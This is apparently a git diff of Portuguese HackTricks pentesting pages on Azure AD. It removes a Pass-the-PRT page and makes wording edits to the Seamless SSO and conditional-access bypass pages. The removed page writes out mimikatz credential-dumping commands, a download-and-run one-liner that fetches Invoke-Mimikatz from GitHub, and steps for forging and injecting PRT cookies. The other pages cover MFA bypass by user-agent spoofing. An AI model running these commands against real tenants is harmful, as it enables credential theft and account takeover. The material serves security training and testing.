- Extração potencial de senhas em texto claro de usuários privilegiados do AD, incluindo credenciais de um usuário AzureAD de alta privilégio, gerado automaticamente.
|
||||
|
||||
{{#ref}}
|
||||
phs-password-hash-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **Federation**:
|
||||
- Roubo da chave privada usada para assinatura SAML, permitindo a impersonação de identidades locais e em nuvem.
|
||||
|
||||
{{#ref}}
|
||||
federation.md
|
||||
{{#endref}}
|
||||
|
||||
- **Seamless SSO:**
|
||||
- Roubo da senha do usuário `AZUREADSSOACC`, usada para assinar tickets Kerberos silver, permitindo a impersonação de qualquer usuário em nuvem.
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
- **Cloud Kerberos Trust**:
|
||||
- Possibilidade de escalar de Global Admin para Domain Admin local manipulando nomes de usuários e SIDs do AzureAD e solicitando TGTs do AzureAD.
|
||||
|
||||
{{#ref}}
|
||||
az-cloud-kerberos-trust.md
|
||||
{{#endref}}
|
||||
|
||||
- **Default Applications**:
|
||||
- Comprometimento de uma conta de Administrador de Aplicação ou da Conta de Sincronização local permite a modificação de configurações de diretório, associações de grupos, contas de usuários, sites do SharePoint e arquivos do OneDrive.
|
||||
|
||||
{{#ref}}
|
||||
az-default-applications.md
|
||||
{{#endref}}
|
||||
|
||||
Para cada método de integração, a sincronização de usuários é realizada, e uma conta `MSOL_<installationidentifier>` é criada no AD local. Notavelmente, tanto os métodos **PHS** quanto **PTA** facilitam o **Seamless SSO**, permitindo o login automático para computadores Azure AD associados ao domínio local.
|
||||
|
||||
Para verificar a instalação do **Azure AD Connect**, o seguinte comando PowerShell, utilizando o módulo **AzureADConnectHealthSync** (instalado por padrão com o Azure AD Connect), pode ser usado:
|
||||
```bash
|
||||
Get-ADSyncConnector
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,250 +0,0 @@
|
||||
# Az - Pass the PRT
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## O que é um PRT
|
||||
|
||||
{{#ref}}
|
||||
az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
### Verifique se você tem um PRT
|
||||
```
|
||||
Dsregcmd.exe /status
|
||||
```
|
||||
Na seção Estado do SSO, você deve ver o **`AzureAdPrt`** definido como **SIM**.
|
||||
|
||||
<figure><img src="../../../images/image (140).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Na mesma saída, você também pode ver se o **dispositivo está associado ao Azure** (no campo `AzureAdJoined`):
|
||||
|
||||
<figure><img src="../../../images/image (135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Cookie PRT
|
||||
|
||||
O cookie PRT é na verdade chamado de **`x-ms-RefreshTokenCredential`** e é um Token Web JSON (JWT). Um JWT contém **3 partes**, o **cabeçalho**, **carga útil** e **assinatura**, divididos por um `.` e todos codificados em base64 seguros para URL. Um cookie PRT típico contém o seguinte cabeçalho e corpo:
|
||||
```json
|
||||
{
|
||||
"alg": "HS256",
|
||||
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
|
||||
}
|
||||
{
|
||||
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
|
||||
"is_primary": "true",
|
||||
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
|
||||
}
|
||||
```
|
||||
O **Primary Refresh Token (PRT)** real está encapsulado dentro do **`refresh_token`**, que é criptografado por uma chave sob o controle do Azure AD, tornando seu conteúdo opaco e indecifrável para nós. O campo **`is_primary`** indica a encapsulação do token de atualização primário dentro deste token. Para garantir que o cookie permaneça vinculado à sessão de login específica para a qual foi destinado, o `request_nonce` é transmitido da página `logon.microsoftonline.com`.
|
||||
|
||||
### Fluxo do Cookie PRT usando TPM
|
||||
|
||||
O processo **LSASS** enviará ao TPM o **KDF context**, e o TPM usará a **session key** (coletada quando o dispositivo foi registrado no AzureAD e armazenada no TPM) e o contexto anterior para **derivar** uma **key**, e essa **derived key** é usada para **assinar o cookie PRT (JWT).**
|
||||
|
||||
O **KDF context é** um nonce do AzureAD e o PRT criando um **JWT** misturado com um **contexto** (bytes aleatórios).
|
||||
|
||||
Portanto, mesmo que o PRT não possa ser extraído porque está localizado dentro do TPM, é possível abusar do LSASS para **solicitar chaves derivadas de novos contextos e usar as chaves geradas para assinar Cookies**.
|
||||
|
||||
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Cenários de Abuso do PRT
|
||||
|
||||
Como um **usuário regular**, é possível **solicitar o uso do PRT** pedindo ao LSASS dados de SSO.\
|
||||
Isso pode ser feito como **aplicativos nativos** que solicitam tokens do **Web Account Manager** (intermediário de tokens). O WAM passa a solicitação para o **LSASS**, que pede tokens usando a asserção PRT assinada. Ou pode ser feito com **fluxos baseados em navegador (web)** onde um **cookie PRT** é usado como **cabeçalho** para autenticar solicitações às páginas de login do Azure AS.
|
||||
|
||||
Como **SYSTEM**, você poderia **roubar o PRT se não estiver protegido** pelo TPM ou **interagir com as chaves PRT no LSASS** usando APIs criptográficas.
|
||||
|
||||
## Exemplos de Ataque Pass-the-PRT
|
||||
|
||||
### Ataque - ROADtoken
|
||||
|
||||
Para mais informações sobre essa abordagem [**ver este post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). O ROADtoken executará **`BrowserCore.exe`** do diretório correto e usará isso para **obter um cookie PRT**. Este cookie pode então ser usado com ROADtools para autenticar e **obter um token de atualização persistente**.
|
||||
|
||||
Para gerar um cookie PRT válido, a primeira coisa que você precisa é de um nonce.\
|
||||
Você pode obter isso com:
|
||||
```bash
|
||||
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
|
||||
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
|
||||
|
||||
$Params = @{
|
||||
"URI" = $URL
|
||||
"Method" = "POST"
|
||||
}
|
||||
$Body = @{
|
||||
"grant_type" = "srv_challenge"
|
||||
}
|
||||
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
|
||||
$Result.Nonce
|
||||
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
|
||||
```
|
||||
Ou usando [**roadrecon**](https://github.com/dirkjanm/ROADtools):
|
||||
```bash
|
||||
roadrecon auth prt-init
|
||||
```
|
||||
Então você pode usar [**roadtoken**](https://github.com/dirkjanm/ROADtoken) para obter um novo PRT (execute a ferramenta a partir de um processo do usuário a ser atacado):
|
||||
```bash
|
||||
.\ROADtoken.exe <nonce>
|
||||
```
|
||||
Como uma linha:
|
||||
```bash
|
||||
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
|
||||
```
|
||||
Então você pode usar o **cookie gerado** para **gerar tokens** para **fazer login** usando Azure AD **Graph** ou Microsoft Graph:
|
||||
```bash
|
||||
# Generate
|
||||
roadrecon auth --prt-cookie <prt_cookie>
|
||||
|
||||
# Connect
|
||||
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
|
||||
```
|
||||
### Ataque - Usando roadrecon
|
||||
|
||||
### Ataque - Usando AADInternals e um PRT vazado
|
||||
|
||||
`Get-AADIntUserPRTToken` **obtém o token PRT do usuário** do computador associado ao Azure AD ou associado de forma híbrida. Usa `BrowserCore.exe` para obter o token PRT.
|
||||
```bash
|
||||
# Get the PRToken
|
||||
$prtToken = Get-AADIntUserPRTToken
|
||||
|
||||
# Get an access token for AAD Graph API and save to cache
|
||||
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
```
|
||||
Ou se você tiver os valores do Mimikatz, você também pode usar AADInternals para gerar um token:
|
||||
```bash
|
||||
# Mimikat "PRT" value
|
||||
$MimikatzPRT="MC5BWU..."
|
||||
|
||||
# Add padding
|
||||
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}
|
||||
|
||||
# Decode
|
||||
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
|
||||
|
||||
# Mimikatz "Clear key" value
|
||||
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"
|
||||
|
||||
# Convert to Byte array and B64 encode
|
||||
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))
|
||||
|
||||
# Generate PRTToken with Nonce
|
||||
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
|
||||
$prtToken
|
||||
## You can already use this token ac cookie in the browser
|
||||
|
||||
# Get access token from prtToken
|
||||
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
|
||||
|
||||
# Verify access and connect with Az. You can see account id in mimikatz prt output
|
||||
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
|
||||
```
|
||||
Vá para [https://login.microsoftonline.com](https://login.microsoftonline.com), limpe todos os cookies para login.microsoftonline.com e insira um novo cookie.
|
||||
```
|
||||
Name: x-ms-RefreshTokenCredential
|
||||
Value: [Paste your output from above]
|
||||
Path: /
|
||||
HttpOnly: Set to True (checked)
|
||||
```
|
||||
Então vá para [https://portal.azure.com](https://portal.azure.com)
|
||||
|
||||
> [!CAUTION]
|
||||
> O restante deve ser os padrões. Certifique-se de que você pode atualizar a página e o cookie não desaparece, se isso acontecer, você pode ter cometido um erro e terá que passar pelo processo novamente. Se não desaparecer, você deve estar bem.
|
||||
|
||||
### Ataque - Mimikatz
|
||||
|
||||
#### Passos
|
||||
|
||||
1. O **PRT (Primary Refresh Token) é extraído do LSASS** (Local Security Authority Subsystem Service) e armazenado para uso posterior.
|
||||
2. A **Chave de Sessão é extraída em seguida**. Dado que essa chave é inicialmente emitida e depois recriptografada pelo dispositivo local, é necessário descriptografá-la usando uma chave mestra DPAPI. Informações detalhadas sobre DPAPI (Data Protection API) podem ser encontradas nesses recursos: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) e para entender sua aplicação, consulte [Pass-the-cookie attack](az-pass-the-cookie.md).
|
||||
3. Após a descriptografia da Chave de Sessão, a **chave derivada e o contexto para o PRT são obtidos**. Estes são cruciais para a **criação do cookie PRT**. Especificamente, a chave derivada é utilizada para assinar o JWT (JSON Web Token) que constitui o cookie. Uma explicação abrangente desse processo foi fornecida por Dirk-jan, acessível [aqui](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
|
||||
|
||||
> [!CAUTION]
|
||||
> Note que se o PRT estiver dentro do TPM e não dentro do `lsass`, **mimikatz não conseguirá extraí-lo**.\
|
||||
> No entanto, será possível **obter uma chave de uma chave derivada de um contexto** do TPM e usá-la para **assinar um cookie (ver opção 3).**
|
||||
|
||||
Você pode encontrar uma **explicação detalhada do processo realizado** para extrair esses detalhes aqui: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
|
||||
> [!WARNING]
|
||||
> Isso não funcionará exatamente após as correções de agosto de 2021 para obter tokens PRT de outros usuários, pois apenas o usuário pode obter seu PRT (um administrador local não pode acessar os PRTs de outros usuários), mas pode acessar o seu.
|
||||
|
||||
Você pode usar **mimikatz** para extrair o PRT:
|
||||
```bash
|
||||
mimikatz.exe
|
||||
Privilege::debug
|
||||
Sekurlsa::cloudap
|
||||
|
||||
# Or in powershell
|
||||
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
|
||||
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
|
||||
```
|
||||
(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
|
||||
|
||||
<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Copie** a parte rotulada como **Prt** e salve-a.\
|
||||
Extraia também a chave da sessão (o **`KeyValue`** do campo **`ProofOfPossesionKey`**) que você pode ver destacado abaixo. Isso está criptografado e precisaremos usar nossas chaves mestras do DPAPI para descriptografá-lo.
|
||||
|
||||
<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Se você não ver nenhum dado de PRT, pode ser que você **não tenha nenhum PRT** porque seu dispositivo não está associado ao Azure AD ou pode ser que você esteja **executando uma versão antiga** do Windows 10.
|
||||
|
||||
Para **descriptografar** a chave da sessão, você precisa **elevar** seus privilégios para **SYSTEM** para executar sob o contexto do computador e poder usar a **chave mestra do DPAPI para descriptografá-la**. Você pode usar os seguintes comandos para fazer isso:
|
||||
```
|
||||
token::elevate
|
||||
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
|
||||
```
|
||||
<figure><img src="../../../images/image (183).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Opção 1 - Mimikatz Completo
|
||||
|
||||
- Agora você quer copiar tanto o valor do Contexto:
|
||||
|
||||
<figure><img src="../../../images/image (210).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Quanto o valor da chave derivada:
|
||||
|
||||
<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Finalmente, você pode usar todas essas informações para **gerar cookies PRT**:
|
||||
```bash
|
||||
Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
|
||||
```
|
||||
<figure><img src="../../../images/image (282).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Vá para [https://login.microsoftonline.com](https://login.microsoftonline.com), limpe todos os cookies para login.microsoftonline.com e insira um novo cookie.
|
||||
```
|
||||
Name: x-ms-RefreshTokenCredential
|
||||
Value: [Paste your output from above]
|
||||
Path: /
|
||||
HttpOnly: Set to True (checked)
|
||||
```
|
||||
- Em seguida, vá para [https://portal.azure.com](https://portal.azure.com)
|
||||
|
||||
> [!CAUTION]
|
||||
> O restante deve ser o padrão. Certifique-se de que você pode atualizar a página e o cookie não desaparece; se desaparecer, você pode ter cometido um erro e terá que passar pelo processo novamente. Se não desaparecer, você deve estar bem.
|
||||
|
||||
#### Opção 2 - roadrecon usando PRT
|
||||
|
||||
- Renove o PRT primeiro, que será salvo em `roadtx.prt`:
|
||||
```bash
|
||||
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
|
||||
```
|
||||
- Agora podemos **solicitar tokens** usando o navegador interativo com `roadtx browserprtauth`. Se usarmos o comando `roadtx describe`, vemos que o token de acesso inclui uma reivindicação de MFA porque o PRT que usei neste caso também tinha uma reivindicação de MFA.
|
||||
```bash
|
||||
roadtx browserprtauth
|
||||
roadtx describe < .roadtools_auth
|
||||
```
|
||||
<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Opção 3 - roadrecon usando chaves derivadas
|
||||
|
||||
Tendo o contexto e a chave derivada despejada pelo mimikatz, é possível usar o roadrecon para gerar um novo cookie assinado com:
|
||||
```bash
|
||||
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
|
||||
```
|
||||
## Referências
|
||||
|
||||
- [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/)
|
||||
- [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
|
||||
- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -12,7 +12,7 @@ Basicamente, o Azure AD Seamless SSO **loga os usuários** quando estão **em um
|
||||
|
||||
É suportado tanto por [**PHS (Sincronização de Hash de Senha)**](phs-password-hash-sync.md) quanto por [**PTA (Autenticação Pass-through)**](pta-pass-through-authentication.md).
|
||||
|
||||
O SSO de Desktop usa **Kerberos** para autenticação. Quando configurado, o Azure AD Connect cria uma **conta de computador chamada `AZUREADSSOACC$`** no AD local. A senha da conta `AZUREADSSOACC$` é **enviada em texto simples para o Entra ID** durante a configuração.
|
||||
O SSO de Desktop utiliza **Kerberos** para autenticação. Quando configurado, o Azure AD Connect cria uma **conta de computador chamada `AZUREADSSOACC$`** no AD local. A senha da conta `AZUREADSSOACC$` é **enviada em texto simples para o Entra ID** durante a configuração.
|
||||
|
||||
Os **tickets Kerberos** são **criptografados** usando o **NTHash (MD4)** da senha e o Entra ID usa a senha enviada para descriptografar os tickets.
|
||||
|
||||
@@ -41,8 +41,8 @@ $searcher.FindOne()
|
||||
> Isso ocorre porque é um ticket que permite que um usuário faça login na nuvem.
|
||||
|
||||
Para obter esse ticket TGS, o atacante precisa ter um dos seguintes:
|
||||
- **Um TGS de um usuário comprometido:** Se você comprometer a sessão de um usuário com o ticket para `HTTP/autologon.microsoftazuread-sso.com` na memória, você pode usá-lo para acessar os recursos em nuvem.
|
||||
- **Um TGT de um usuário comprometido:** Mesmo que você não tenha um, mas o usuário foi comprometido, você pode obter um usando o truque de delegação de TGT falso implementado em muitas ferramentas como [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) e [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Um TGS de usuário comprometido:** Se você comprometer a sessão de um usuário com o ticket para `HTTP/autologon.microsoftazuread-sso.com` na memória, você pode usá-lo para acessar os recursos em nuvem.
|
||||
- **Um TGT de usuário comprometido:** Mesmo que você não tenha um, mas o usuário foi comprometido, você pode obter um usando o truque de delegação de TGT falso implementado em muitas ferramentas como [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) e [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Um hash ou senha de usuário comprometido:** SeamlessPass se comunicará com o controlador de domínio com essas informações para gerar o TGT e, em seguida, o TGS.
|
||||
- **Um ticket dourado:** Se você tiver a chave KRBTGT, pode criar o TGT que precisa para o usuário atacado.
|
||||
- **O hash ou senha da conta AZUREADSSOACC$:** Com essas informações e o Identificador de Segurança (SID) do usuário a ser atacado, é possível criar um ticket de serviço e autenticar-se com a nuvem (como realizado no método anterior).
|
||||
@@ -65,7 +65,7 @@ seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -u
|
||||
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
|
||||
wmic useraccount get name,sid # Get the user SIDs
|
||||
```
|
||||
Mais informações para configurar o Firefox para funcionar com SSO sem interrupções podem ser [**encontradas neste post do blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
Mais informações para configurar o Firefox para funcionar com SSO sem costura podem ser [**encontradas neste post do blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
|
||||
### Obtendo hashes da conta AZUREADSSOACC$
|
||||
|
||||
@@ -110,7 +110,7 @@ Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Sub
|
||||
```
|
||||
### Usando Silver Tickets com Firefox
|
||||
|
||||
Para utilizar o silver ticket, os seguintes passos devem ser executados:
|
||||
Para utilizar o ticket silver, os seguintes passos devem ser executados:
|
||||
|
||||
1. **Iniciar o Navegador:** O Mozilla Firefox deve ser iniciado.
|
||||
2. **Configurar o Navegador:**
|
||||
@@ -121,7 +121,7 @@ Para utilizar o silver ticket, os seguintes passos devem ser executados:
|
||||
3. **Acessar a Aplicação Web:**
|
||||
- Visite uma aplicação web que esteja integrada com o domínio AAD da organização. Um exemplo comum é [login.microsoftonline.com](https://login.microsoftonline.com/).
|
||||
4. **Processo de Autenticação:**
|
||||
- Na tela de login, o nome de usuário deve ser inserido, deixando o campo da senha em branco.
|
||||
- Na tela de login, o nome de usuário deve ser inserido, deixando o campo de senha em branco.
|
||||
- Para prosseguir, pressione TAB ou ENTER.
|
||||
|
||||
> [!WARNING]
|
||||
@@ -133,7 +133,7 @@ Para utilizar o silver ticket, os seguintes passos devem ser executados:
|
||||
Para realizar o ataque é necessário:
|
||||
|
||||
- `WriteDACL` / `GenericWrite` sobre `AZUREADSSOACC$`
|
||||
- Uma conta de computador que você controla (hash e senha) - Você pode criar uma
|
||||
- Uma conta de computador que você controla (hash & senha) - Você pode criar uma
|
||||
|
||||
|
||||
1. Passo 1 – Adicione sua própria conta de computador
|
||||
@@ -173,7 +173,7 @@ Você agora pode usar o **TGS para acessar recursos do Azure como o usuário imp
|
||||
|
||||
### ~~Criando tickets Kerberos para usuários apenas na nuvem~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Se os administradores do Active Directory tiverem acesso ao Azure AD Connect, eles podem **definir SID para qualquer usuário na nuvem**. Dessa forma, **tickets** Kerberos podem ser **criados também para usuários apenas na nuvem**. O único requisito é que o SID seja um [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
Se os administradores do Active Directory tiverem acesso ao Azure AD Connect, eles podem **definir SID para qualquer usuário da nuvem**. Dessa forma, os **tickets** Kerberos podem ser **criados também para usuários apenas na nuvem**. O único requisito é que o SID seja um [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
|
||||
> [!CAUTION]
|
||||
> Alterar o SID de usuários administradores apenas na nuvem agora está **bloqueado pela Microsoft**.\
|
||||
@@ -4,12 +4,12 @@
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
As políticas de Acesso Condicional do Azure são regras configuradas no Microsoft Azure para impor controles de acesso aos serviços e aplicativos do Azure com base em certas **condições**. Essas políticas ajudam as organizações a proteger seus recursos aplicando os controles de acesso corretos nas circunstâncias adequadas.\
|
||||
As políticas de Acesso Condicional do Azure são regras configuradas no Microsoft Azure para impor controles de acesso a serviços e aplicações do Azure com base em certas **condições**. Essas políticas ajudam as organizações a proteger seus recursos aplicando os controles de acesso corretos nas circunstâncias adequadas.\
|
||||
As políticas de acesso condicional basicamente **definem** **Quem** pode acessar **O Que** de **Onde** e **Como**.
|
||||
|
||||
Aqui estão alguns exemplos:
|
||||
|
||||
1. **Política de Risco de Login**: Esta política pode ser configurada para exigir autenticação multifator (MFA) quando um risco de login é detectado. Por exemplo, se o comportamento de login de um usuário for incomum em comparação com seu padrão regular, como fazer login de um país diferente, o sistema pode solicitar autenticação adicional.
|
||||
1. **Política de Risco de Login**: Esta política pode ser configurada para exigir autenticação multifatorial (MFA) quando um risco de login é detectado. Por exemplo, se o comportamento de login de um usuário for incomum em comparação com seu padrão regular, como fazer login de um país diferente, o sistema pode solicitar autenticação adicional.
|
||||
2. **Política de Conformidade de Dispositivo**: Esta política pode restringir o acesso aos serviços do Azure apenas a dispositivos que estejam em conformidade com os padrões de segurança da organização. Por exemplo, o acesso pode ser permitido apenas a partir de dispositivos que tenham software antivírus atualizado ou que estejam executando uma determinada versão do sistema operacional.
|
||||
|
||||
## Enumeração
|
||||
@@ -34,21 +34,21 @@ Também é necessário configurar as **condições** que irão **disparar** a po
|
||||
- **Plataformas de dispositivos**: Qualquer dispositivo ou selecionar Android, iOS, Windows phone, Windows, macOS, Linux
|
||||
- Se “Qualquer dispositivo” não estiver selecionado, mas todas as outras opções estiverem selecionadas, é possível contorná-la usando um user-agent aleatório não relacionado a essas plataformas
|
||||
- **Aplicativos cliente**: As opções são “Navegador”, “Aplicativos móveis e clientes de desktop”, “Clientes Exchange ActiveSync” e “Outros clientes”
|
||||
- Para contornar, faça login com uma opção não selecionada
|
||||
- Para contornar o login com uma opção não selecionada
|
||||
- **Filtro para dispositivos**: É possível gerar uma regra relacionada ao dispositivo usado
|
||||
- **Fluxos de autenticação**: As opções são “Fluxo de código de dispositivo” e “Transferência de autenticação”
|
||||
- Isso não afetará um atacante, a menos que ele esteja tentando abusar de qualquer um desses protocolos em uma tentativa de phishing para acessar a conta da vítima
|
||||
|
||||
Os possíveis **resultados** são: Bloquear ou Conceder acesso com condições potenciais como exigir MFA, dispositivo em conformidade...
|
||||
Os possíveis **resultados** são: Bloquear ou Conceder acesso com condições potenciais como exigir MFA, dispositivo estar em conformidade…
|
||||
|
||||
### Plataformas de Dispositivos - Condição de Dispositivo
|
||||
|
||||
É possível definir uma condição com base na **plataforma do dispositivo** (Android, iOS, Windows, macOS...), no entanto, isso é baseado no **user-agent**, então é fácil de contornar. Mesmo **fazendo todas as opções aplicarem MFA**, se você usar um **user-agent que não é reconhecido**, você poderá contornar o MFA ou bloqueio:
|
||||
É possível definir uma condição com base na **plataforma do dispositivo** (Android, iOS, Windows, macOS...), no entanto, isso é baseado no **user-agent**, então é fácil de contornar. Mesmo **fazendo todas as opções exigirem MFA**, se você usar um **user-agent que não é reconhecido**, você poderá contornar o MFA ou bloqueio:
|
||||
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Basta fazer o navegador **enviar um user-agent desconhecido** (como `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) para não disparar essa condição.\
|
||||
Você pode alterar o user agent **manualmente** nas ferramentas de desenvolvedor:
|
||||
Apenas fazendo o navegador **enviar um user-agent desconhecido** (como `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) é suficiente para não disparar essa condição.\
|
||||
Você pode mudar o user agent **manualmente** nas ferramentas de desenvolvedor:
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@@ -56,7 +56,7 @@ Ou usar uma [extensão de navegador como esta](https://chromewebstore.google.com
|
||||
|
||||
### Localizações: Países, intervalos de IP - Condição de Dispositivo
|
||||
|
||||
Se isso estiver definido na política condicional, um atacante poderia simplesmente usar uma **VPN** no **país permitido** ou tentar encontrar uma maneira de acessar a partir de um **endereço IP permitido** para contornar essas condições.
|
||||
Se isso estiver definido na política condicional, um atacante poderia apenas usar uma **VPN** no **país permitido** ou tentar encontrar uma maneira de acessar a partir de um **endereço IP permitido** para contornar essas condições.
|
||||
|
||||
### Aplicativos em Nuvem
|
||||
|
||||
@@ -64,7 +64,7 @@ Se isso estiver definido na política condicional, um atacante poderia simplesme
|
||||
|
||||
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Para tentar contornar essa proteção, você deve verificar se consegue **acessar qualquer aplicativo**.\
|
||||
Para tentar contornar essa proteção, você deve ver se consegue **apenas em qualquer aplicativo**.\
|
||||
A ferramenta [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) tem **dezenas de IDs de aplicativos hardcoded** e tentará fazer login neles e informá-lo, e até mesmo fornecer o token se for bem-sucedido.
|
||||
|
||||
Para **testar IDs de aplicativos específicos em recursos específicos**, você também pode usar uma ferramenta como:
|
||||
@@ -77,13 +77,13 @@ Além disso, também é possível proteger o método de login (por exemplo, se v
|
||||
|
||||
A ferramenta [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) também pode ser usada para propósitos semelhantes, embora pareça não estar mantida.
|
||||
|
||||
A ferramenta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) também pode ser usada para testar essas proteções e ver se é possível contornar os MFAs ou bloqueios, mas essa ferramenta funciona a partir de uma perspectiva **whitebox**. Você primeiro precisa baixar a lista de aplicativos permitidos no inquilino e, em seguida, tentará fazer login neles.
|
||||
A ferramenta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) também pode ser usada para testar essas proteções e ver se é possível contornar os MFAs ou bloqueios, mas essa ferramenta funciona a partir de uma perspectiva **whitebox**. Você primeiro precisa baixar a lista de aplicativos permitidos no locatário e, em seguida, tentará fazer login neles.
|
||||
|
||||
## Outros Bypasses de Az MFA
|
||||
|
||||
### Toque de telefone
|
||||
### Toque de chamada
|
||||
|
||||
Uma opção de MFA do Azure é **receber uma chamada no número de telefone configurado** onde será solicitado ao usuário que **envie o caractere `#`**.
|
||||
Uma opção de MFA do Azure é **receber uma chamada no número de telefone configurado**, onde será solicitado ao usuário que **envie o caractere `#`**.
|
||||
|
||||
> [!CAUTION]
|
||||
